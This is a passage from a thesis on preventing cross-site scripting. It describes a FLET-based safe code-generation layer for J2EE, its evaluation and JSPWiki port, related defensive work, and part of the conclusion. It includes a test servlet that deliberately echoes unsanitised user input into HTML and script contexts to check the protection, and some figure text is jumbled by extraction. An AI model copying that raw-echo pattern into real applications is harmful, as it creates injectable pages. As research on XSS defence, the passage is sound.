tag. Such characters are, for instance, <, >, =, " or ’. In HTML all characters that
are provided in their HTML-encoded version (“&#...;”) are neither interpreted
as HTML nor as JavaScript. Thus, by translating all non-alphanumeric charac-
ters into their HTML-encoded version, potential code injection attempts can be
prevented.

2. JavaScript-code: JavaScript provides the function String.fromCharCode() which

translates a numerical representation into a corresponding character. To prevent
code injection attacks through malicious string-values, all dynamic strings that are
created within a JavaScript context are transformed into a representation consist-
ing of concatenated String.fromCharCode()-calls.

3. URL-attributes: It is possible to include JavaScript-code into URLs using the

pseudo-protocol-handler ’javascript:’. Hence, special attention has to be em-
ployed when URL-values are derived from dynamically obtained data. URLs have
their own encoding scheme, commonly called “URL encoding”. In this system,
characters can be represented using a percent sign followed by its two-digit hexadec-
imal value (“%..”). URLs containing encoded values are still interpreted correctly
if they reference a network resource. However, all URL-encoded JavaScript-code
is not recognized by the JavaScript interpreter. As the protocol-specifier has to
remain non-encoded we employ a whitelist of allowed protocol-specifiers. In the
default configuration this list consists of http://, https:// and ftp://, further
protocols have to be enabled explicitly. All data following the protocol-specifier
gets URL-encoded before adding it to the final HTML-code. If the respective URL
does not begin with one of the allowed handlers, we assume that it is a relative

197
12. Enforcing Secure Code Creation

URL referencing a resource belonging to the original web application. In this case,
the complete URL-value gets encoded.

In order to assemble the final HTML output the abstraction layer iterates through
the FLET’s elements to receive the actual foreign code information in combination with
the applicable context. According to the given code-context the matching encoding
technique is applied to transform all data-values into a non-executable form.

12.6. Implementation and evaluation

This section documents our experiences with a real world implementation for the J2EE
application framework.

12.6.1. Creating an abstraction layer for J2EE

As discussed in Section 12.4, potential strategies towards implementing an abstraction
layer are either realizing it within the means of the native language, introducing an
intermediate unit, or integrating it in the respective external entities.
In our given scenario, integrating the layer in the external entities is infeasible as
such an approach would require the application’s users to use a modified web browser.
Furthermore, we decided against creating the layer as an intermediate unit. Introducing a
detached abstraction unit requires an additional serialization step. This step is necessary
to transform the FLET into a language-independent representation that can be processed
by the layer. While in general such an approach might prove valuable in scenarios where
several heterogeneous native languages have to communicate with the same external
entity, in the given case the expected overhead in processing and the added deployment
complexity over-weighted the benefits.
Therefore, we chose to implement the abstraction layer within the scope of the native
language. This tight integration in the native language allows a high degree of flexibility
as the abstraction layer can take advantage of the FLET’s internal representation of the
foreign code. In addition, the deployment requirements of applications that were written
using this mechanism remain unaffected as no additional elements have to be introduced
and the external entities remain unchanged.
In our J2EE [252] based implementation the abstraction layer’s tasks are integrated
into the application server’s request/response handling. This is realized by employing
J2EE’s filter mechanism to wrap the ServletResponse-object. Through this wrapper-
object servlets can obtain a FLETPrinter. This object provides an interface which
accepts instantiated FLETs as input (see Figure 12.6). The FLETPrinter implements
the code serialization strategy that has been discussed in Section 12.5.3. The serial-
ized HTML-code is then passed to the original ServletResponse-object’s output buffer.
Only input received through the FLETPrinter is included in the final HTML-output.
Any data that is passed to the output-stream through legacy character-based methods
is logged and discarded. This way we ensure that only explicitly generated foreign code
is sent to the user’s web browsers.

198
 12.6. Implementation and evaluation

1 protected void doGet ( H t t p S e r v l e t R e q u e s t req , H t t p S e r v l e t R e s p o n s e resp )

2 throws IOException {
3 String bad = req . getParameter (" data ");
4 [...]
5 HTMLFlet h $ = $ <h3 > Protection test </ h3 > $$
6 h $ + $ Text : $data ( bad ) $ < br / > $$
7 h $ + $ Link : <a href =" $data ( bad ) $ " > link </ a > < br / > $$
8 h $ + $ Script : < script > document . write ( $data ( bad ) $ ); </ script > < br / > $$
9 [...]
10 FletPrinter . write ( resp , h ); // Writing the FLET content to the output buffer
11 resp . getWriter (). println ( bad ); // Testing if the legacy interface
12 // is correctly disabled
13 }

Listing 12.5: Test-servlet for protection evaluation (excerpt)

Implementing the abstraction layer in the form of a J2EE filter has several advan-
tages. Foremost, no changes to the actual application-server have to be applied - all
necessary components are part of a deployable application. Furthermore, to integrate
our abstraction layer into an existing application only minor changes to the application’s
web.xml meta-file have to be applied (besides the source code changes that are discussed
in Section 12.6.2).

12.6.2. Practical evaluation

Protection evaluation
We successfully implemented a pre-processor, FLET- library, and abstraction layer for
the J2EE application server framework. To verify this implementation’s protection ca-
pabilities, we ran a list of well known XSS attacks [95] against a specifically crafted test
application. For this purpose, we created a test-servlet that blindly echos user-provided
data back into various HTML/JavaScript data- and code-contexts (see Listing 12.5 for
an excerpt).

Porting of an existing application

Porting an application to our approach requires to locate every portion of the applica-
tion’s source code which utilizes strings to create foreign code. Such occurrences have to
be changed to employ FLET semantics instead. Therefore, depending on the specific ap-
plication, porting an existing code-base might prove to be difficult. To gain experiences
on our approach’s applicability in respect to non-trivial software, we chose JSPWiki
[119] as a porting target. JSPWiki is a mature J2EE based WikiWiki clone which was
initially written by Janne Jalkanen and is released under the LGPL. More precisely, we
chose version 2.4.103 of the software, a recent release which suffers from various disclosed
XSS vulnerabilities [157]. The targeted version of the code consists of 365 Java/JSP files
which in total contain 69.712 lines of source code.
Before we could start the porting process, we had to extend our implementation
slightly. Our initial pre-processor only targeted plain Java source code. However, JSP-
Wiki’s user-interface is implemented in the form of JSP-template files [253]. A JSP

199
12. Enforcing Secure Code Creation

CPU Usage Server Response Times

60
100 JSP JSP
FLET FLET
50
80
40

Response Time
CPU Usage
60

in ms
in %
30

40
20

20 10

0 0
5 10 25 50 75 100 150 200 5 10 25 50 75 100
Users Users

Figure 12.5.: Observed CPU overhead and response times

intermixes HTML and Java code within a single file. Before its interpretation, the ap-
plication server compiles the JSP into a standard Java servlet on the fly. We created
an additional pre-processor which aided the transformation of the JSP-markup into our
meta-syntax (see Sec. 12.5.1) in a semi-automatic fashion. Furthermore, the application’s
JSPs frequently include custom markup-tags which are realized using J2EE’s tag library
mechanism (“Taglib”). The porting of the Taglib-tag’s implementation from string-
based to FLET-based code creation was unproblematic. However, our FletFilter-
implementation had to be changed slightly to allow the correct interpretation of situa-
tions in which a certain code context (e.g. a single HTML-tag) was composed by several
separate Taglib-elements.
After these extensions had been made, the actual porting process was surprisingly
straightforward. JSPWiki’s user-interface follows in most parts a rather clean version of
the Model-View-Controller (MVC) pattern [156] which aided the porting process. Be-
sides the user-interface also the application’s Wiki-markup parser and
HTML-generator had to be adapted. It took a single programmer about a week to
port the application’s core functionality. In total 103 source files had to be processed.
As expected, all documented XSS vulnerabilities [157] did not occur in the resulting
software. This resolving of the vulnerabilities was solely achieved by the porting process
without specifically addressing the issues in particular.

Performance measures
The concluding evaluation step was to examine the runtime overhead that is introduced
by our approach. For this purpose, we benchmarked the unaltered JSP code against the
adapted version utilizing the FLET paradigm. The performance tests were done using
the HP LoadRunner [104] tool, simulating an increasing number of concurrent users per
test run. The benchmarked applications were served by an Apache Tomcat 5.5.20.0 on
a 2,8 GHz Pentium 4 computer running Windows XP Professional.
In situations with medium to high server-load, we observed an overhead of approx-
imately 25% in the application’s response times (see Figure 12.5). Considering that
neither the FLET’s nor the abstraction layer’s implementation have been specifically
optimized in respect to performance, this first result is promising. Besides streamlining
the actual FLET implementation, further conceptual options to enhance the implemen-
tation’s performance exist. For instance, integrating the abstraction layer directly into

200
 JavaServer Pages
12.7. Conclusion

Supporting JSPs is complex:

Request Response
! JSPs get compiled to Servlets on their first
request. But they are special:
! they don't use the PrintWriter directly Processor

! additional layer named JspWriter

FletFilter
! JspWriter provides buffering
ServletResponse
! cannot be accessed by a ServletFilter
PrintWriter
! buffer semantic is needed
– request includes/forwarding
– buffer reset
Buffer Log
! Introduce a Buffer into the FletFilter
! must be manipulated from JSP
FletPrinter LogPrintWriter
This makes porting JSPs difficult
! concept for a JSP-preprocessor for semi- HTMLFlet String
automatic porting
JSP/Servlet
Web Container

© SAP 2007 / Page 51

Figure 12.6.: Implementation of the J2EE FletFilter

the application server, instead of introducing it via object wrappers would aid the overall
performance.

12.6.3. Limitations
Our proposed solution reliably prevents XSS vulnerabilities which occur because of pro-
gramming errors made in the native language. However, there are certain classes of XSS
issues that arise due to causes which cannot be controlled by the discussed approach.
Foremost, this applies to all XSS problems that are rooted at the client-side because
of unsafe written JavaScript, e.g. issues based on unsafe dynamic code creation via
eval(), or DOM based XSS [153]. Furthermore, vulnerable browser configurations can
cause so called “universal XSS”-conditions [206]. In such situations, all web applications
displayed in the affected browser are susceptible to XSS attacks. A related problem
may also occur if the web server itself causes XSS problems, e.g., the “expect-header”-
vulnerability of the Apache web server [284]. Finally, there are several rich data formats
like Flash or Java Applets that may carry JavaScript code. If an application allows their
users to include such objects from external sources into the application’s pages these
objects may penetrate the application security.

12.7. Conclusion
In this section we proposed techniques to enhance programming languages with capabili-
ties for secure creation of foreign code. Our approach is based on a generalized model that
introduces an abstraction layer which prevents direct string-based code-communication
between the programming language’s runtime environment and potential external enti-
ties. Furthermore, we showed how a language pre-processor and a dedicated datatype

201
12. Enforcing Secure Code Creation

can be employed to outfit a given programming language with means for secure creation
of foreign code. The centerpiece of our code assembly architecture is the FLET (see
Sec. 12.2), an abstract datatype that allows the assembly and processing of foreign code
segments while strictly preserving the separation between data and code. This way,
injection vulnerabilities that are introduced by implicit, string-serialization based code-
generation become impossible. To examine the feasibility of the proposed approach, we
implemented an integration of the foreign languages HTML and JavaScript into the Java
programming language.
Usage of our approach results in a system in which every creation of foreign code is
an explicit action. More specifically, the developer always has to define the exact par-
ticularities of the assembled code precisely. Therefore, accidental inclusion of adversary-
provided semantics is not possible anymore. Furthermore, the only way to assemble
foreign code is by FLET, which effectively prevents programmers from taking insecure
shortcuts. Thus, our solution provides better protection as related approaches, such as
precise taint-propagation. A wide adoption of our proposed techniques would reduce the
attack surface of code injection attacks significantly.

202
 Part IV.

Related Work and Conclusion

203
13. Related Work
We divided the set of existing related work in four general categories: First we discus
approaches which were designed to address specific XSS Payloads (see Sec. 13.1), com-
parable to the work presented in Part II of this thesis. Then, we examine defensive
techniques which aim to prevent XSS attacks in general without focusing on specific
payload types (see Sec. 13.2). The approaches that are subsumed in this section have
in common that they are based on specific characteristics of XSS and cannot be easily
extended towards the general class of string-based code injection issues. Consequently,
in Section 13.3, we document approaches which are capable to address a broader range of
string-based code injection types. Finally, we conclude this chapter in Section 13.4 with
an overview of language-based approaches that, while not being specifically targeted to
prevent XSS or string-based code injection, share significant similarities with our work
presented in Chapter 12.
If applicable, we compare to our proposed techniques with the approaches documented
in this chapter.

13.1. Mitigation of XSS Payloads

In the last years, several techniques to mitigate specific XSS Payloads have been devel-
oped. In this section, we give an overview. For this purpose, we group the discussed
publications according to the attack class they aim to disarm.
The here discussed approaches are in particular related to the presented topics of
Part II of this thesis.

13.1.1. Countering attacks in the application context

Various techniques have been proposed to protect sensitive information such as session
identifier, passwords, and form values.
Microsoft introduced an HTTPonly option for cookies with their web browser Inter-
net Explorer 6 SP1 [193]. Cookies that are set with this option are not accessible by
JavaScript and therefore safe against SID theft attacks (see Sec. 4.1.1). Recently, further
browser vendors, such as Mozilla and Opera, started to adopt the HTTPonly option. See
[203] for an overview on HTTPonly aware web browsers.
Kirda et al. proposed “Noxes”, a client side personal firewall [148]. Noxes prevents
XSS induced information leakage, e.g. stealing of cookie data, by selectively disallowing
HTTP requests to resources that do not belong to the web application’s domain. The
firewall’s ruleset is a combination of automatically constructed and manually configured
rules.

205
13. Related Work

Furthermore, Vogt et al. [261] propose a combination of static analysis and dynamic
data tainting to stop the effects of XSS attacks. The outlined approach does not iden-
tify or stop the actual injected script but instead aims to prohibit resulting leakage of
sensitive information. To achieve this, their technique employs an enhanced JavaScript
engine. The added features of this modified engine are twofold: For one, the flow of sen-
sitive data, like cookie-values, through the script can be tracked dynamically. This way
the mechanism detects and prevents the transmission of such data to the adversary. Fur-
thermore, via static analysis, all control flow dependencies in scripts that handle sensitive
information are established. This is done to identify indirect and hidden channels that
could be abused for data leakage. If such channels are identified, their communication
with external hosts is prevented.
Livshits and Erlingsson propose in [169] to extend the Same Origin Policy using a
novel HTML-attribute. Using this attribute can create isolated parts within a DOM
tree that have only access rights to their respective child-elements within the DOM tree.
If an XSS injection point exists in such a constraint area, the injected script can only
access and alter a very restricted set of the attacked webpage’s elements. Thus, e.g., only
values which are located within the reach of the script can be leaked to the attacker.
Furthermore, several alternatives and enhancements in respect to the form-based com-
munication of passwords have been made, such as [223], [228], [240], or [159]. Most of
these techniques were designed to prevent phishing attacks in general and were not specif-
ically targeted at XSS attacks. However, some of them provide protection against certain
forms of XSS based password theft. See [105] for an overview and detailed discussion of
this matter.
All approaches which have been listed in this section prevent the attacker from ob-
taining sensitive information. However, some of the papers also claim that they prevent
session hijacking attacks. This is only partially the case. The discussed techniques are
only capable to prevent a limited subset of all session hijacking attacks – the class of
SID theft attacks. But, as discussed in Section 4.1, both browser hijacking attacks and
background XSS propagation are potentially as powerful as SID theft. In comparison,
our proposed countermeasure (see Chapter 7) protects against all documented variants
of session hijacking attacks. However, the here discussed techniques are well suited to
serve as complementary techniques to our approach.

13.1.2. Countering attacks in the browser context

Jackson et al. [114] propose measures to defend against CSS based cache-disclosure
attacks (see Sec. 5.2.1). Their technique extends the Same Origin Policy to also apply
to cache and history information. This has the effect, that a JavaScript can only obtain
cache and history information about elements that have the same origin as the script
itself. The authors implemented their concepts as “SafeHistory” [115], an extension to
the Firefox browser.
Jakobsson and Stamm [118] discuss a server-side technique to protect against CSS-
based browser history disclosure. Their method prevents the attacker from guessing
possible URLs that may be contained in the user’s history by adding semi-random parts

206
 13.1. Mitigation of XSS Payloads

to the URLs, thus effectively creating URL pseudonyms. For this purpose, they intro-
duced a server-side web-proxy to apply the randomized components to the application’s
URL transparently.
To defend against cross-site timing attacks, (see Sec. 5.2.2), Bortz et al. [23] proposed
a server-side module to ensure that the web server always takes a constant amount of
time to process a request. For this purpose they implemented an Apache module called
“mod timepad”. “Mod timepad” functions by guarantying that every HTTP chunk is
sent a time since the request was received which is a multiple of n milliseconds (with n
being a user-adjustable parameter).
Furthermore, following our work in [133] (see Chapter 8), CSRF attacks have received
further attention.
Jovanovic et al. describe in [137] NoForge, a server-side proxy solution, which is
closely related to the technique we proposed in Chapter 8. By automatic addition
of request-nonces to outgoing HTML content, NoForge verifies that incoming requests
which belong to an existing session were indeed generated within the application. The
OWASP CSRFGuard [202] implements Jovanovic’s technique as a J2EE filter.
Two browser extensions for the Firefox browser aim to provide automatic protection
against CSRF attacks. For one, the NoScript-extension [175] strips all POST-parameters
from cross-site POST requests, thus, rendering the majority of CSRF attacks useless.
Furthermore, Zeller and Felton [286] implemented an experimental browser extension
which prevents cross-site POST requests completely.
Finally, Barth et al. [15] propose the introduction of an additional, mandatory origin
HTTP-header for HTTP requests. This header contains origin-information about the
webpage which caused the corresponding HTTP request, namely the protocol, the
domain-value, and the port. The origin-header is only sent with POST-requests. This
way the origin-header addresses the privacy problems of the referer-header while still
containing all necessary information to reliably counter CSRF attacks.

13.1.3. Countering intranet reconnaissance and DNS rebinding

Lam et al. [162] discuss the reconnaissance probing attack (see Sec. 6.1.2) as a tool to
identify further victims in the context of web-server worm propagation. They propose
several options for client-side defense mechanisms, like limiting the number of cross-
domain requests. However, as they address the issues only in the context of large scale
worm propagation and DDoS attacks, these measures do not promise to be effective
against targeted intranet-attacks. The paper contains an excellent analysis of exist-
ing restrictions posed by different web browsers, like number of allowed simultaneous
connections.
To defend against DNS rebinding attacks (see Sec. 6.2), Karlof et al. propose in [143]
a Same Origin Policy that is based on public-key cryptography. Instead of identifying
the origin of a given web-object by the URL that was used to request it, the element’s
“origin” is defined by the public key that is associated with the element (e.g., the key
that was employed for an SSL-connection which delivered the element). Consequently,
in the proposed model, the browser would allow a web object to access another web

207
13. Related Work

object only if their public keys match.

Furthermore, Jackson et al. [113] propose several countermeasures against DNS
rebinding, ranging from smarter DNS pinning strategies, over utilizing reverse DNS
lookups, up to implementing a firewall solution that prohibits the resolution of external
domain names to internal IP addresses. See [113] for details.
A more general protection approach is described by Hallaraker and Vigna [94]. Their
paper shows how to modify the JavaScript-engine of a web browser to allow behaviour
based analysis of JavaScript execution. Using this newly introduced capability, they
apply intrusion detection mechanisms to e.g., prevent denial-of-service or XSS attacks.
While the paper does not address the threats that are subject of our work, it may be
possible to extend their work towards preventing XSS-based intranet attacks. To verify
this assumption further research work is necessary.

13.2. Dynamic detection and prevention of XSS attacks

Instead of countering specific types of XSS Payloads (as discussed above), several ap-
proaches have been proposed, that aim to stop XSS attacks in general by either de-
tecting the injection attempt (see Sec. 13.2.1), by preventing the actual injection (see
Sec. 13.2.2), or by stopping execution of injected script code (see Sec. 13.2.3).
In this section we deliberately limit the discussion to techniques which are specific
to XSS. More general countermeasures, which are also applicable to other classes of
string-based code injection attacks are documented in Section 13.3.
The here discussed approaches are in general related to the presented topics of Part III
of this thesis.

13.2.1. Detection of XSS attacks

Some techniques to detect XSS attacks have been proposed which rely on specific char-
acteristics that are only exposed by the class of XSS vulnerabilities.
In [130] we describe XSSDS, a server-side approach to detect successful XSS attacks by
passive monitoring of HTTP traffic. XSSDS is composed of two separate attack detection
sensors. The first sensor is based on the observation that in most cases there are only
very limited variations in the set of legitimate JavaScripts which a single web application
utilizes. Hence, this specific set can be learned by observing the outgoing HTML content.
After the termination of the training process, all outgoing scripts are checked if they are
included in the learned script-set. If this is not the case, a potential XSS attack is
alerted to the site’s admins. The second sensor is related to Ismail’s approach and aims
to match incoming HTTP parameters against outgoing script content. Via subsequence
matching XSSDS checks whether a parameter’s value was used to define the one of the
scripts, which in turn signals a potential reflected XSS attack.
In [168] Livshits and Cui propose “Spectator”, a server-side solution to identify the
outbreak of XSS worms. The underlying observation of the approach is that the prop-
agation of an XSS worm requires the worm to repeatedly inject HTML markup into
the attacked application, hence, including this markup into the worm generated HTTP

208
 13.2. Dynamic detection and prevention of XSS attacks

requests. Spectator consists of an HTTP proxy inspecting the Traffic between the user’s
browser and a web server in order to detect malicious patterns of JavaScript code propa-
gation. By applying unique and persistent labels to incoming HTML fragments, the flow
of these fragments through the application over the course of multiple request/response-
pairs is possible. Thus, Spectator is capable to spot reoccurring labels which are in-
voluntarily transported by worm traffic. While the proposed mechanism is capable to
identify worm outbreaks, it cannot detect single, targeted XSS attacks as the mecha-
nism’s algorithm relies on associating a series of request.
Finally, the NoScript-plugin for Firefox [175] provides a simple detection mechanism
for reflected XSS: Outgoing HTTP parameters are checked if they potentially contain
JavaScript code. If such parameters are detected, the plugin warns the user before
sending the respective HTTP request.

13.2.2. Prevention of XSS injection attempts

Kerschbaum proposes in [145] to protect web applications against cross-site attacks
through strict referrer-checking. In their approach only a limited amount of URLs is
permitted to be accessed by cross-site requests while all requests to the remaining URLs
are prevented. This way the attack surface of the web application is reduced signifi-
cantly. If it can be guaranteed that the URLs, which can be reached by cross-domain
interaction, [145] shows that reflected XSS attacks are prevented reliably. However, the
proposed solution fails to protect against the exploitation of stored XSS vulnerabilities.
Furthermore, the solution requires that a referer-header is sent by the browser which
cannot be guaranteed by current browser technology.
Ismail et al. [112] describe a local proxy based solution towards protection against
reflected XSS attacks. The proxy examines the GET and POST parameters of outgoing
HTTP request for the existence of potential problematic characters like “<”. If such
characters are found in one of the parameters, the proxy also checks the respective
HTTP response if the parameter is included verbatim and unencoded in the resulting
webpage. If this is the case, the proxy concludes a potential XSS attack and encodes
the offending characters itself.
In 2008 the Internet Explorer browser was enhanced by an XSS filter [224] which
is based on checking if incoming parameters are directly used for script generation.
Based on an analysis of outgoing HTTP parameters, signatures are generated which
are then checked against the corresponding HTTP response. This way, reflected XSS
vulnerabilities can be detected.
A more general variant of Ismail et al.’s methodology is implemented by web applica-
tion firewalls. The term web application firewall (WAF) describes applications that are
positioned between the network and the web server. WAFs do not limit their scope to
XSS attacks but aim to detect a wider range of potential attacks against web applica-
tions. In Scott and Sharp’s [235] proposal the firewall’s ruleset is defined in a specialized
security policy description language. According to this ruleset incoming user data (via
POST, GET and cookie values) is sanitized. Only requests to URLs for which policies
have been defined are passed to the web server. Furthermore, Mod security [221] is

209
13. Related Work

an open source web application firewall specific for the Apache web server that allows
detailed analysis and modification of incoming HTTP requests. Besides these examples,
further web application firewalls exist in the market place. Generally, WAFs can seldom
provide more than additional input validation mechanisms, as they do not possess any
knowledge about the application’s internals. The provided protection is therefore seldom
complete.

13.2.3. Prohibiting the execution of injected script code

Several defensive mechanisms have been proposed which aim to mitigate XSS exploits
by preventing the execution of injected JavaScript code. Opposed to countering specific
payload types as discussed in Part II and Section 13.1, such approaches define criteria
which determine whether a given script is allowed to run.
To achieve this protection both the server and the browser have to cooperate. The
server has to include meta-information into the outgoing HTTP-responses which specify
the actual criteria which should be used by the browser to distinguish between legitimate
and injected script code. The browser in turn has to be extended, so that is capable to
interpret and enforce the server’s meta information.
Markham describes in [176] “content restrictions”, a simple policy language which
allows the web server to specify regions in a web page which are not allowed to contain
script content.
Erlingsson et al. propose in [61] to extend the web browser with “mutation events”.
They demonstrate how such events can be employed to be the basis of fine-grained,
application specific security policies. By including such policies into the outgoing HTML-
pages of the web application it can be enforced that, e.g., scripts are only allowed in
specific, “safe” regions of the page, or that certain “dangerous” tags, such as iframe or
object are forbidden completely.
With Browser-Enforced Embedded Policies (BEEP) [121], the web server includes a
whitelist-like policy into each page, allowing the browser to detect and filter unwanted
scripts. As the policy itself is a JavaScript, this method is very flexible and for instance
allows the definition of regions, where scripts are prohibited.
All three approaches have in common that if the adversary succeeds to inject a
JavaScript in a way that tricks the defensive approach to assume the script is legit,
the protection mechanism is completely defeated.

13.3. Detection and prevention of string-based code injection

vulnerabilities
Besides the XSS specific approaches (see above), several techniques have been proposed
that are either applicable for a wider range of string-based code injection classes or target
a bug class different to XSS, such as SQL injection, but are related to the approaches
which we proposed in this thesis.

210
 13.3. Detection and prevention of string-based code injection vulnerabilities

The here discussed approaches are in general related to the presented topics of Part III
of this thesis.

13.3.1. Manual protection and secure coding

The currently used strategy against string-based code injection attacks in general and
XSS in particular is manually coded input filtering and output encoding. As long as
unwanted syntactic content is properly detected and stripped from all generated foreign
code, attacks are impossible. However, implementing these techniques is a non-trivial
and error prone task which cannot be enforced centrally, resulting in large quantities of
reported issues [39].
In order to aid developers to identify code injection issues in their code, several
information-flow based approaches for static source code analysis [36, 132] have been
discussed, for example by Shankar et al. [239], Huang et al. [109], Livshits and Lam
[170], Wassermann and Su [269, 270], Xie and Aiken [277], and Jovanovic et al. [136].
However, due to the undecidable nature of this class of problems [219] such approaches
suffer from false positives and/or false negatives.

13.3.2. Special domain solutions

Manual protection against SQL injection suffers from similar problems as observed with
XSS. However, most SQL interpreters offer prepared statements which provide a secure
method to outfit static SQL statements with dynamic data. While being a powerful
migration tool to avoid SQL injection vulnerabilities, prepared statements are not com-
pletely bulletproof. As dynamic assembly of prepared statements is done using the
string type, injection attacks are still possible. Finally, methods similar to prepared
statements for most other foreign languages besides SQL do not exist yet. In compar-
ison, our FLET approach (see Chapter 12) eliminates the need for string-based syntax
assembly completely and is applicable for any given foreign language.

13.3.3. Dynamic taint propagation

Dynamic taint propagation is a powerful tool for detecting code injection vulnerabilities
on run-time. Taint propagation tracks the flow of untrusted data through the applica-
tion. All user-provided data is “tainted” until its state is explicitly set to be “untainted”.
This allows the detection if untrusted data is used in a security sensible context. Taint
propagation was first introduced by Perl’s taint mode [268]. More recent works describe
finer grained approaches towards dynamic taint propagation. These techniques allow
the tracking of untrusted input on the basis of single characters. In independent concur-
rent works Nguyen-Tuong et al [198] and Pietraszek and Vanden Berghe [210] proposed
fine grained taint propagation to counter various classes of injection attacks. Halfond et
al. [93] describe a related approach (“positive tainting”) which, unlike other proposals,
is based on the tracking of trusted data. Xu et al [279] propose a fine grained taint
mechanism that is implemented using a C-to-C source code translation technique. Their
method detects a wide range of injection attacks in C programs and in languages which

211
13. Related Work

use interpreters that were written in C. To protect an interpreted application against in-
jection attacks the application has to be executed by a recompiled interpreter. Based on
dynamic taint propagation, Su and Wassermann [248] describe an approach that utilizes
specifically crafted grammars to deterministically identify SQL injection attempts.
However, taint-tracking is not without problems: Taint-tracking aims to prevent the
exploitation of injection vulnerabilities while their fundamental causes, string-based code
assembly and the actual vulnerable code, remain unchanged. Therefore, the sanitazion
of the tainted data still relies on string operations. The application has to “untaint” data
after applying manually written validation and encoding function, a process which in
practice has been proven to be non-trivial and error-prone. This holds especially true in
situations where limited user-provided code, for instance HTML, is permitted. E.g., no
taint-tracking solution would have prevented the myspace.com XSS that was exploited
by the Samy-worm [140]. In our approach, even in cases where user-provided HTML
is allowed, such markup has to be parsed from the user’s data and recreated explicitly
using FLET semantics, thus, effectively preventing the inclusion of any unwanted code.
Furthermore, unlike our FLET approach, taint-tracking is susceptible to second-order
code injection vulnerabilities [200] due to its necessary classification of data origins as
either trusted or untrusted. In the case of second-order code injection the attacker is able
to reroute his attack through a trusted component (e.g., temporary storage of an XSS
attack in the database).

13.3.4. Instruction Set Randomization

Boyd and Keromytis propose SQLrand [25] which uses instruction set randomization to
counter SQL injection attacks. All SQL statements that are included in the protected
application are modified to include a randomized component. Between the application
and the database a proxy mechanism is introduced that parses every query using the
modified instruction set. As the attacker does not know the correct syntax, a code in-
jection attack will result in a parsing error. SQLrand requires the programmer of the
application to permanently include the randomized syntax in the application’s source
code. Therefore, as the randomization is static, information leaks like SQL error mes-
sages might lead to disclosure of the randomized instruction set. In comparison, our
related approach (see Chapter 11) uses dynamic string masks which change with every
processed HTTP request. Therefore, information leaks do not pose a problem.

13.4. Language based approaches

Finally, in this section we collect language based techniques which were not specifically
developed to prevent string-based code injection but still expose similarities to our FLET
approach (see Chapter 12).

212
 13.4. Language based approaches

13.4.1. Safe language dialects

As previously stated, the security sensitive bug class of memory corruption problems in C
programs has received considerable attention. Among the proposed methods to address
this class of problems, safe language dialects of C have been proposed, e.g., CCured
[196] and Cyclone [120], which aim to eliminate the said class of security problems.
Comparable to our FLET approach these language dialects do not aim to invent a new
language. Instead, most of the original native language’s characteristics are preserved
and only security sensitive aspects are modified.

13.4.2. Foreign syntax integration

Russel and Krüger describe SQL DOM [178] which implements an API level integration
of SQL functionality. A given database schema can be used to automatically generate an
SQL Domain Object Model. This model is transformed to an API which encapsulates
the capabilities of SQL in respect to the given schema, thus eliminating the need to
generate SQL statements with the string datatype. As every schema bears a schema-
specific domain object model and consequently a schema-specific API, every change in
the schema requires a re-generation of the API. In comparison, our API representa-
tion of a potential SQL-FLET models the characteristics of the SQL language and is
independent of the actual database schema.
Furthermore, SQLJ [6] and Embedded SQL [192], two independently developed mech-
anisms to combine SQL statements either with Java or C respectively, employ a simple
pre-processor. However, unlike our proposed approach these techniques only allow the
inclusion of static SQL statements in the source code. The pre-processor then creates na-
tive code that immediately communicates the SQL code to the database. Thus, dynamic
assembly and processing of foreign code, as it is provided in our proposed approach via
the FLET’s interface, is not possible.
Finally, extensive work has been done in the domain of directly integrating a certain
given foreign language into native code (e.g., [144], [43], [101], [79], [44], [233]). Espe-
cially SQL and XML-based languages have received a lot of attention. However, unlike
our approach, the majority of these special purpose integration efforts neither can be ex-
tended to arbitrary foreign languages, nor have been designed to prevent code injection
vulnerabilities.
Most notably in this context is the work of Meijer et al. In order to soften the object-
relational impedance mismatch [183] they propose Xen [184], a type system and language
extension for C# that allows native creation and querying of XML-structures. Addition-
ally, Xen promotes a subset of SQL to be first class members of C# . The techniques
outlined in [184] have subsequently been implemented for the commercial .NET frame-
work under the name LINQ [182]. The proposed technique provides sound protection
against string-based code injection attacks for the foreign language features that covered.
However, neither Xen or LINQ offer complete coverage of all elements of the inte-
grated languages. Certain non-trivial and sophisticated language features were omitted.
Furthermore, the proposed approach is focused on semantically modeling data-handling

213
13. Related Work

properties, such as retrieval (SQL) and processing (XML). For this reason, a straight for-
ward extension to general imperative language features is not possible. In comparison,
our FLET approach is capable of achieving complete coverage of all foreign language
features regardless of the foreign language’s nature.

214
14. Conclusion
We conclude this thesis with a summary of our main results, a discussion of the remaining
open problems, and an outlook.

14.1. Summary
We structure the discussion into three segments which mirror the three main parts of
the thesis: XSS & XSS Payloads, mitigation of XSS exploits, and prevention of XSS
vulnerabilities.

XSS & and XSS Payloads

Part I of this thesis was devoted to acquiring a fundamental understanding of the class of
XSS issues. For this purpose, we divided our discussion of this subject into two disjunct
aspects: The actual XSS vulnerabilities (Chapter 2) and XSS Payloads which may be
used within an attack (Chapters 3 to 6):

XSS vulnerabilities: The specifics of individual XSS vulnerabilities are diverse and
potentially complex. They are determined by factors such as type (reflected, stored,
DOM based), injection constraints, or injection position. Furthermore, as we doc-
umented in Chapter 2, XSS vulnerabilities can be caused by insecure programming
as well as by insecure infrastructure (see Sec. 2.1). In particular, vulnerable sce-
narios caused by insecure infrastructure can involve a highly heterogeneous set of
causing components, such as web proxies or browser plug-ins. Finally, XSS is not
limited to web applications but also can affect other technologies (see Sec. 2.3),
resulting in a significant attack surface.

XSS Payloads: An XSS vulnerability enables the attacker to execute arbitrary Java-
Script code within the victim’s browser. To assess the severity of such a vulner-
ability, it is crucial to thoroughly examine JavaScript’s capabilities which can be
utilized in XSS Payloads.
For this purpose, we identified a set of general attack techniques (see Sec. 3.3) and
introduced a comprehensive and systematic classification of potential XSS Pay-
loads (see Sec. 3.4). Our proposed classification is based on dividing the potential
actions of a given JavaScript according to a disjunct set of execution-contexts.
This enabled us to group individually reported attacks into larger classes and to
identify the set of existing payload targets, such as the affected web application,
the victim’s computer, or intranet resources.

215
14. Conclusion

Furthermore, the classification allows a systematic evaluation of the scope and

completeness of a given countermeasure. We applied this evaluation method to
our proposed approaches of Part II. Hence, our classification aids the assessment
regarding which payload types are well understood and which types need further
attention.

The results of this part of the thesis lead to the conclusion that XSS poses a signifi-
cant and complex problem involving a wide and versatile set of causing circumstances,
involved technologies, and attack targets. Due to the heterogeneous nature of this vul-
nerability class, the discovery of a comprehensive, uniform approach to address the
problem seems unlikely. Consequently, based on this outcome we deducted two gen-
eral, complementary defensive approaches: Countering the actions of XSS Payloads and
